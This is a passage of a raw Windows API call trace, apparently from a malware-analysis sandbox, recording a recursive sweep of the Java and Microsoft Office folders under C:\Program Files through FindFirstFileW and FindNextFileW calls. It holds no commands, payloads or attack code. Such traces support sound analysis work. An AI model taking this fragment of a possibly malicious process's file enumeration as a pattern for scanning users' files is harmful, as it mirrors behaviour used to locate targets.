ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0056.384] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3cc0 | out: hHeap=0x6a0000) returned 1 [0056.384] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0056.384] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.384] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0056.384] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.384] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0056.385] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.385] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0056.385] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.385] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0056.387] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.387] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0056.389] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.389] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0056.389] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3cd0 | out: hHeap=0x6a0000) returned 1 [0056.390] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0056.390] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0056.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.390] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0056.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.390] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0056.392] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.392] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0056.929] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.933] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0056.934] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3cc0 | out: hHeap=0x6a0000) returned 1 [0056.934] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0056.934] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3cb8 | out: hHeap=0x6a0000) returned 1 [0056.937] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0056.937] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0056.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0056.940] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecd80852, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xecd80852, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0056.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ebfd0 | out: hHeap=0x6a0000) returned 1 [0056.942] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0056.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ebfd0 | out: hHeap=0x6a0000) returned 1 [0056.945] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0056.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.952] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0058.525] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436bfb8 | out: hHeap=0x6a0000) returned 1 [0058.525] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0058.527] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436bfb8 | out: hHeap=0x6a0000) returned 1 [0058.527] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0058.527] FindClose (in: hFindFile=0x42601c0 | out: hFindFile=0x42601c0) returned 1 [0058.527] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.527] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0058.527] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0058.527] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0058.528] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0058.531] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0058.531] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0058.533] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0058.533] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0058.536] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0058.536] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0058.536] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.536] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0058.539] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.539] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0058.541] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.541] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0058.544] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.544] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0060.266] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x438bfc0, Size=0x40000) returned 0x43fbfd8 [0060.317] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0060.318] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0060.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x434b010 [0060.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\loc") returned 42 [0060.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0060.318] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.318] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0060.318] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0060.318] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0060.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x434b010 [0060.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml") returned 44 [0060.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0060.319] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.319] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0060.320] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x435b018 [0060.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us") returned 50 [0060.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0060.764] FindNextFileW (in: 